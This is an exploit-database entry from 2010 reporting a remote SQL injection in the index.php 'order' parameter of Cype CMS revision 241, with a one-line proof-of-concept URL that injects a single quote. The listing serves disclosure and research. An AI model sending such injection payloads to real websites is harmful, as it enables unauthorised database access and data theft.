Cype CMS SQL Injection Vulnerability

2010-01-01T00:00:00
ID 1337DAY-ID-10561
Type zdt
Reporter Sora
Modified 2010-01-01T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ====================================
Cype CMS SQL Injection Vulnerability
====================================

# Exploit Title: Cype Content Management System Remote SQL Injection Exploit
# Date: January 1st, 2010
# Author: Sora
# Version: Revision 241
# Tested on: Linux (Backtrack 3)
 
-----------------------------------------
 
> Cype CMS Remote SQL Injection Exploit
> Author: Sora
> Google Dork: In your dreams, script kiddies.
 
# Exploit Description:
Cype CMS suffers a remote SQL injection vulnerability in index.php.
 
# Code/Proof of Concept (PoC):
http://server/index.php?cype=main&page=ranking&order='&job=500



#  0day.today [2018-04-05]  #